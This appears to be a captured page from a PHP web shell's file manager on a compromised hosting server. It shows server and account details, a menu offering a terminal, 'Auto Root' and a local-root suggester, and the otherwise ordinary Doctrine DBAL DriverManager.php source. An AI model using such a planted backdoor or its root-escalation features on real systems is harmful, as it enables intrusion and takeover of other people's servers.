Linux sg77.dns-private.com 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
LiteSpeed
Server IP : 135.181.230.13 & Your IP : 216.73.217.69
Domains :
Cant Read [ /etc/named.conf ]
User : pilasate
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
pilasate /
schoolms /
vendor /
doctrine /
dbal /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
ArrayParameters
[ DIR ]
drwxrwxrwx
2025-03-23 13:35
Cache
[ DIR ]
drwxrwxrwx
2025-03-23 13:35
Connection
[ DIR ]
drwxrwxrwx
2025-03-23 13:35
Connections
[ DIR ]
drwxrwxrwx
2025-03-23 13:35
Driver
[ DIR ]
drwxrwxrwx
2025-03-23 13:35
Exception
[ DIR ]
drwxrwxrwx
2025-03-23 13:35
Logging
[ DIR ]
drwxrwxrwx
2025-03-23 13:35
Platforms
[ DIR ]
drwxrwxrwx
2025-03-23 13:35
Portability
[ DIR ]
drwxrwxrwx
2025-03-23 13:35
Query
[ DIR ]
drwxrwxrwx
2025-03-23 13:35
SQL
[ DIR ]
drwxrwxrwx
2025-03-23 13:35
Schema
[ DIR ]
drwxrwxrwx
2025-03-23 13:35
Tools
[ DIR ]
drwxrwxrwx
2025-03-23 13:35
Types
[ DIR ]
drwxrwxrwx
2025-03-23 13:35
ArrayParameterType.php
900
B
-rw-rw-rw-
2025-03-07 07:29
ColumnCase.php
284
B
-rw-rw-rw-
2025-03-07 07:29
Configuration.php
3.84
KB
-rw-rw-rw-
2025-03-07 07:29
Connection.php
43.03
KB
-rw-rw-rw-
2025-03-07 07:29
ConnectionException.php
129
B
-rw-rw-rw-
2025-03-07 07:29
Driver.php
1.31
KB
-rw-rw-rw-
2025-03-07 07:29
DriverManager.php
5.75
KB
-rw-rw-rw-
2025-03-07 07:29
Exception.php
117
B
-rw-rw-rw-
2025-03-07 07:29
ExpandArrayParameters.php
3.25
KB
-rw-rw-rw-
2025-03-07 07:29
LockMode.php
214
B
-rw-rw-rw-
2025-03-07 07:29
ParameterType.php
694
B
-rw-rw-rw-
2025-03-07 07:29
Query.php
803
B
-rw-rw-rw-
2025-03-07 07:29
Result.php
7.59
KB
-rw-rw-rw-
2025-03-07 07:29
ServerVersionProvider.php
202
B
-rw-rw-rw-
2025-03-07 07:29
Statement.php
4.14
KB
-rw-rw-rw-
2025-03-07 07:29
TransactionIsolationLevel.php
195
B
-rw-rw-rw-
2025-03-07 07:29
Save
Rename
<?php declare(strict_types=1); namespace Doctrine\DBAL; use Doctrine\DBAL\Driver\IBMDB2; use Doctrine\DBAL\Driver\Mysqli; use Doctrine\DBAL\Driver\OCI8; use Doctrine\DBAL\Driver\PDO; use Doctrine\DBAL\Driver\PgSQL; use Doctrine\DBAL\Driver\SQLite3; use Doctrine\DBAL\Driver\SQLSrv; use Doctrine\DBAL\Exception\DriverRequired; use Doctrine\DBAL\Exception\InvalidDriverClass; use Doctrine\DBAL\Exception\InvalidWrapperClass; use Doctrine\DBAL\Exception\UnknownDriver; use SensitiveParameter; use function array_keys; use function is_a; /** * Factory for creating {@see Connection} instances. * * @phpstan-type OverrideParams = array{ * application_name?: string, * charset?: string, * dbname?: string, * defaultTableOptions?: array<string, mixed>, * driver?: key-of<self::DRIVER_MAP>, * driverClass?: class-string<Driver>, * driverOptions?: array<mixed>, * host?: string, * memory?: bool, * password?: string, * path?: string, * persistent?: bool, * port?: int, * serverVersion?: string, * sessionMode?: int, * user?: string, * unix_socket?: string, * wrapperClass?: class-string<Connection>, * } * @phpstan-type Params = array{ * application_name?: string, * charset?: string, * dbname?: string, * defaultTableOptions?: array<string, mixed>, * driver?: key-of<self::DRIVER_MAP>, * driverClass?: class-string<Driver>, * driverOptions?: array<mixed>, * host?: string, * keepReplica?: bool, * memory?: bool, * password?: string, * path?: string, * persistent?: bool, * port?: int, * primary?: OverrideParams, * replica?: array<OverrideParams>, * serverVersion?: string, * sessionMode?: int, * user?: string, * wrapperClass?: class-string<Connection>, * unix_socket?: string, * } */ final class DriverManager { /** * List of supported drivers and their mappings to the driver classes. * * To add your own driver use the 'driverClass' parameter to {@see DriverManager::getConnection()}. */ private const DRIVER_MAP = [ 'pdo_mysql' => PDO\MySQL\Driver::class, 'pdo_sqlite' => PDO\SQLite\Driver::class, 'pdo_pgsql' => PDO\PgSQL\Driver::class, 'pdo_oci' => PDO\OCI\Driver::class, 'oci8' => OCI8\Driver::class, 'ibm_db2' => IBMDB2\Driver::class, 'pdo_sqlsrv' => PDO\SQLSrv\Driver::class, 'mysqli' => Mysqli\Driver::class, 'pgsql' => PgSQL\Driver::class, 'sqlsrv' => SQLSrv\Driver::class, 'sqlite3' => SQLite3\Driver::class, ]; /** * Private constructor. This class cannot be instantiated. * * @codeCoverageIgnore */ private function __construct() { } /** * Creates a connection object based on the specified parameters. * This method returns a Doctrine\DBAL\Connection which wraps the underlying * driver connection. * * $params must contain at least one of the following. * * Either 'driver' with one of the array keys of {@see DRIVER_MAP}, * OR 'driverClass' that contains the full class name (with namespace) of the * driver class to instantiate. * * Other (optional) parameters: * * <b>user (string)</b>: * The username to use when connecting. * * <b>password (string)</b>: * The password to use when connecting. * * <b>driverOptions (array)</b>: * Any additional driver-specific options for the driver. These are just passed * through to the driver. * * <b>wrapperClass</b>: * You may specify a custom wrapper class through the 'wrapperClass' * parameter but this class MUST inherit from Doctrine\DBAL\Connection. * * <b>driverClass</b>: * The driver class to use. * * @param Configuration|null $config The configuration to use. * @phpstan-param Params $params * * @phpstan-return ($params is array{wrapperClass: class-string<T>} ? T : Connection) * * @template T of Connection */ public static function getConnection( #[SensitiveParameter] array $params, ?Configuration $config = null, ): Connection { $config ??= new Configuration(); $driver = self::createDriver($params['driver'] ?? null, $params['driverClass'] ?? null); foreach ($config->getMiddlewares() as $middleware) { $driver = $middleware->wrap($driver); } /** @var class-string<Connection> $wrapperClass */ $wrapperClass = $params['wrapperClass'] ?? Connection::class; if (! is_a($wrapperClass, Connection::class, true)) { throw InvalidWrapperClass::new($wrapperClass); } return new $wrapperClass($params, $driver, $config); } /** * Returns the list of supported drivers. * * @return string[] * @phpstan-return list<key-of<self::DRIVER_MAP>> */ public static function getAvailableDrivers(): array { return array_keys(self::DRIVER_MAP); } /** * @param class-string<Driver>|null $driverClass * @param key-of<self::DRIVER_MAP>|null $driver */ private static function createDriver(?string $driver, ?string $driverClass): Driver { if ($driverClass === null) { if ($driver === null) { throw DriverRequired::new(); } if (! isset(self::DRIVER_MAP[$driver])) { throw UnknownDriver::new($driver, array_keys(self::DRIVER_MAP)); } $driverClass = self::DRIVER_MAP[$driver]; } elseif (! is_a($driverClass, Driver::class, true)) { throw InvalidDriverClass::new($driverClass); } return new $driverClass(); } }